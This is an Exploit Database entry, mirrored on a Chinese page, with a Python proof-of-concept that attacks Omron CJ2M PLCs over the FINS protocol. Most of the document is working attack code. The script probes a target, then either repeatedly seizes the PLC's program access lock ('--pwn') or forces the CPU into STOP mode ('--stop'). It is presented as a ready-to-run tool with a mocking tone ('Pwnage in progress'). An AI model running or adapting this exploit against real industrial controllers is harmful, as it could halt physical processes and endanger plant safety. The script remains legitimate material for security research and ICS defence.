Omron PLC 1.0.0 – Denial of Service (PoC)

• Exploit Database
• 134 阅读

• 作者： n0b0dy
  日期： 2019-12-09
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/47757/
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  # Exploit Title: Omron PLC 1.0.0 - Denial of Service (PoC) # Google Dork: n/a # Date: 2019-12-06 # Exploit Author: n0b0dy # Vendor Homepage: https://automation.omron.com, ia.omron.com # Software Link: n/a # Version: 1.0.0 # Tested on: PLC f/w rev.: CJ2M (v2.01) # CWE-412 : Unrestricted Externally Accessible Lock # CVE : n/a   #!usr/bin/python   ###################################################################################################### # # # <code>-:+oyhdmmNNNNNNNNmdhyso/:. # #-/shmNmhyo+/:-..</code><code></code><code></code>..--:/oshdNNdyo:. # # <code>:ohNmho/-</code>.:+ydNmy+. # #.+hNms/. <code>:ohNms:</code> # # .+dNh+. <code>/ymNy: # # :yNd+. </code>/yNmo.# #<code>/dNy-</code>.+mNy-# # +mmo. <code>/dNy-# # :dNo</code><code></code>........--.......<code></code><code> </code>/dNs.# # .yNy. .-<code></code>....<code></code><code>....</code><code>..</code><code>....</code><code></code>...<code></code><code>-</code><code>+Nm/ # #/mm: ./ymy. </code>...<code></code><code>..</code><code></code>.<code></code><code> </code>..<code> </code>...<code>+mho:</code>.yMh. # #<code>sNy. </code>.<code>/hNMNo</code><code>..</code><code>.</code>.<code> .</code> <code></code> <code>..</code>...<code>-dMNmo... </code>+Nm:# # <code>yNo</code>-yy-sMMMh-......<code></code><code>.</code> .<code>.</code><code></code>.-...<code></code> <code>..</code> <code>+NMMm:+h+</code>:mN/ # #<code>hN/ +Nm.sMMh/: </code>.. <code>.....</code><code></code>..<code> </code>//+yy+.<code></code>.<code></code>...<code>..</code> <code>.. ./oNMm-oMh.-dN+# # </code>hN+<code>/MMo:Nh:/h- </code>..<code>.. </code>..<code></code><code>oMy.:NMd</code><code></code>... <code>.</code>ys:omh.NMh<code>.mM/ # # yM+ </code>o-hMN.:+sdm/ <code>-. .. .</code> ./-./NNo .<code>.. </code>.<code> .hmy+/</code>sMM-o- -mN:# #+My .dd<code>mMy/hNmo. </code>-<code></code><code></code><code> </code>. <code>- :ho.</code>. ..<code></code><code></code>.. <code>/hNmo/NM//N/ :Mm</code> # # .mm. sMd<code>mMmNd+/</code> <code>-</code><code></code>..-.<code></code><code>.. +. .</code><code></code>.-...<code></code>..:/yNNNM/:MN<code> sMs # # yM+ </code>mMm<code>mMm+-ss </code>-<code>..</code><code></code>.....-....<code></code><code>-o+.</code><code></code>...-.....<code></code><code>.-</code>.<code> -h/:yMM/+MM/ .mN-# #.Nm</code> <code>NMN</code>yo/yNd. .. -<code> </code>-<code></code><code></code><code></code><code>yNm-</code><code></code><code></code><code></code>. <code>-</code><code>.oNd++h:sMM+oMy# #+Mo </code>.NMM.:hNMd. <code>-</code><code>..- </code>:- <code>-.. .</code> <code>oNMmo</code>yMM+. .NN<code> # #hN- y:hMMoNMmo... .</code>...<code>-</code>- <code>. /hMMydMM-h. dM/ # # .mm</code>-No-NMMMy-o:.. .<code>...://-</code> <code>-</code> <code>-</code> - y-+mMMMy.Ns sMs # # :Nd :Mm.oMMo.sN...<code></code><code></code><code></code><code></code><code>-</code><code></code><code></code><code></code><code></code>..<code>./s</code> :smds: :s:<code></code>-<code></code><code></code><code></code><code></code><code>-.</code><code></code><code></code><code></code><code></code>-<code>ym--NMm.sMh +Mh # # +Mh -NMy</code>hd-hMd<code>..</code><code></code><code></code><code></code><code></code>-<code></code><code></code><code></code><code>.-/+smMy -my</code><code>dNho/.</code><code></code><code></code><code></code><code>-</code><code></code><code></code><code></code><code></code><code>- /Mm/+N:-NMs /Mh # # /NhhMM/-/hMM/ .. .</code> <code>+yhdmmNMMMM. .so</code> yMMMNmhyso+/.<code>-</code><code>- </code>mMN/+.dMM- /Mh # # -Nd<code> -NMm-+MMh. </code>. .<code> oMMMMMMMMMMN</code> <code>hyyMMMMMMMMMMMd.- </code>. <code>/MMd</code>yMMyoMy # # <code>mN.</code>.oNMhyMN-o/ -<code></code>.<code>mMMMMMMMMMMM- -NN.</code>dMMMMMMMMMMMM/. .<code></code>y<code>hMNoMMh.- yMo # #yM:.h./mMMMs dm</code><code>. .+MMMMMMMMMMMMo /MM/:NMMMMMMMMMMMMs</code><code>. oN--NMMNy.+o</code>mM- # #/My<code>dd/-yNM:.NM+ ..</code><code>.hMMMMMMMMMMMMN-oMMo </code>hMMMMMMMMMMMMMh.<code></code>.<code></code>mMo<code>dMm/-yN/:Mm</code> # #<code>mN./MMh-/d/+MMs.</code> <code></code><code></code><code></code>.NMMMMMMMMMMMMMm- sMMs oMMMMMMMMMMMMMMm.<code></code><code></code><code> </code>.<code> -NMd</code>ds-omMh<code>hMo# # +Ms oNMNo--sMMh</code>- ..<code> oMMMMMMMMMMMMMMMm:yMMhoMMMMMMMMMMMMMMMN-</code>..<code></code>-:MMN.:/dMMd.:Nm.# # <code>hN: /NMMm/+MMm</code>h+ .. mMMMMMMMMMMMMMMMMNNMMMMMMMMMMMMMMMMMMMMo<code>.</code>-h-oMMd-yMMMy.<code>dM/ # #-Nm. +yNMMdNMN-/Ms</code><code>.</code>-MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh .. :mh<code>hMMdNMNdo- sMy# # /Nh</code>:y+odNMMMo<code>mMy..</code>/MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm<code></code>.<code> :NM/.NMMMmy+os</code>oMd.# #+Mh<code>+Nh//odNm</code>oMM+<code>.sMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN.</code>.mMN<code>oNmy+/smh</code>+Mm. # # +Nh./mMNho++-.mMN/-/<code>hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM- </code>-:.dMMo<code>+++ymMNs.oNd-# #/Nd-.omMMMmy+/dMN//ds-hMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM//hy-dMNs:sdMMMNh:</code>sMh. # # -dN+<code></code>/ymNMMNdmMMo/mNdNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMs:mMNdmMMNmh+. -dMs<code># #</code>yNy. /o+/oyhmmNNy:hNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMm//mNNmdys+/+o.<code>oNm/# #:mNo</code>:dmdyo////+:./yNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMdo--+//:/+shmmo.:dNy. # # <code>+mm+.:smNMMMMMMMMNNNNmmMMMMMMMMMMMMMMMMMMMMMMMMMMNhmNNNNMMMMMMMMMNh+.:hNh- # # </code>oNmo.<code>.+ooooo+//:--:yMMMMMMMMMMMMMMMMMMMMMMMMMMmo/--::/++ooooo:</code><code>/hNd: # # </code>+mNs:.+yso++oshmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdys+++oys:.odNh: # #:yNdo-/sdNNMMMNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdmNNMMNNmy+:/hNmo. # #<code>+hNds:</code><code>...</code>/MMMMMMMMMMMMMMMMMMMMMMMMMMMM: <code>....</code>-ohNms:# # <code>/ymNds/.</code>sMMMMMMMMMMMMMMMMMMMMMMMMMMMM+<code>:ohNNdo- # # ./sdNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMdhmNNho:</code># # <code>-/oydNMMMMMMMMMMMMMMMMMMMMMMmhy+:. # #</code>.://+osyyyyyyso+/:-.# # # # # # Exploit Title: Omron PLC: Denial-of-Service as a Feature# # Google Dork: n/a# # Date: 2019.12.06# # Exploit Author: n0b0dy# # Vendor Homepage: https://automation.omron.com, ia.omron.com # # Software Link: n/a# # Version: 1.0.0# # Tested on: PLC f/w rev.: CJ2M (v2.01) # # CWE-412 : Unrestricted Externally Accessible Lock # # CVE : n/a # # # ####################################################################################################### import sys, signal, socket, time, binascii   nic = socket.gethostbyname(socket.gethostname()) #will fail if hostname = &apos;hostname&apos;   if len(sys.argv) < 2: print "Usage: fins.dos.py [arg.] {target ip} {target port[9600]}" print "--pwn Hijack control of PLC program." print "--stop Stop PLC CPU."   else: ip = sys.argv[2]   try: port = sys.argv[3] except: port = 9600   def ip_validate(ip): a = ip.split(&apos;.&apos;) if len(a) != 4: return False for x in a: if not x.isdigit(): return False i = int(x) if i < 0 or i > 255: return False return True   #fins header icf = &apos;\x80&apos; #info control field (flags); 80=resp req, 81=resp not req rsv = &apos;\x00&apos; #reserved gct = &apos;\x02&apos; #gateway count dna = &apos;\x00&apos; #dest net addr idnn = ip[-1:] #dest node no (last digit of target ip) dnn_i = &apos;0&apos; + idnn dnn = binascii.a2b_hex(dnn_i) dua = &apos;\x00&apos; #dest unit addr sna = &apos;\x00&apos; #source net addr isnn = nic[-1:] #source node no (last digit of own ip) snn_i = &apos;0&apos; + isnn snn = binascii.a2b_hex(snn_i) sua = &apos;\x00&apos; #source unit addr sid = &apos;\x7a&apos; #service ID fins_hdr = icf + rsv + gct + dna + dnn + dua + sna + snn + sua + sid   #FINS command acceptance code fins_ok = &apos;\x00&apos; #Verify PLC type CmdMRst1 = binascii.a2b_hex("05") CmdSRst1 = binascii.a2b_hex("01") Cmdst1 =\ fins_hdr + CmdMRst1 + CmdSRst1 + &apos;\x00&apos; print "Probing PLC... " + &apos;\t&apos; s1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s1.sendto(Cmdst1, (ip, port)) print "Finished." + &apos;\r\n&apos; s1fins_resp = s1.recvfrom(1024) s1fins_resp_b = bytes(s1fins_resp[0]) if s1fins_resp_b[12] == fins_ok and s1fins_resp_b[13] == fins_ok: print "FINS target is exploitable: " print s1fins_resp_b[14:39] else: print "FINS target not exploitable." print "FINS response from target: ", s1fins_resp   if sys.argv[1] == "--pwn":   #access right forced acquire PgmNo = &apos;\xff&apos; CmdMRst2 = binascii.a2b_hex("0c") CmdSRst2 = binascii.a2b_hex("02") Cmdst2 =\ fins_hdr + CmdMRst2 + CmdSRst2 + PgmNo + PgmNo reqdly = 1 persist = 1 pwnage = 0 print "Obtaining control of PLC program..." + &apos;\r\n&apos; while persist == 1: try: s2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) time.sleep(reqdly) s2.sendto(Cmdst2, (ip, port)) s2fins_resp = s2.recvfrom(1024) s2fins_resp_b = bytes(s2fins_resp[0]) if s2fins_resp_b[12] == fins_ok and s2fins_resp_b[13] == fins_ok: pwnage += 1 pwntime = str(pwnage) sys.stdout.write(&apos;\r&apos; + "Pwnage in progress! " + "duration: " + pwntime + " sec.") sys.stdout.flush() else: print "Attack unsuccessful. ", &apos;\r\n&apos; print "FINS error code: ", s2fins_resp except socket.error as e: print socket.error s2.close() except KeyboardInterrupt: persist = 0 print &apos;\r&apos;, " Attack interrupted by user." s2.close()   elif sys.argv[1] == "--stop": #change OP Mode CmdMRst3 = binascii.a2b_hex("04") CmdSRst3 = binascii.a2b_hex("02") Cmdst3 =\ fins_hdr + CmdMRst3 + CmdSRst3 print "Stopping PLC (just for fun)... " + &apos;\t&apos; s3 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s3.sendto(Cmdst3, (ip, port)) print "Finished. " s3fins_resp = s3.recvfrom(1024) s3fins_resp_b = bytes(s3fins_resp[0]) if s3fins_resp_b[12] == fins_ok and s3fins_resp_b[13] == fins_ok: print "PLC CPU STOP mode confirmed. " else: print "Attack unsuccessful. ", &apos;\r\n&apos; print "FINS response from target: ", s3fins_resp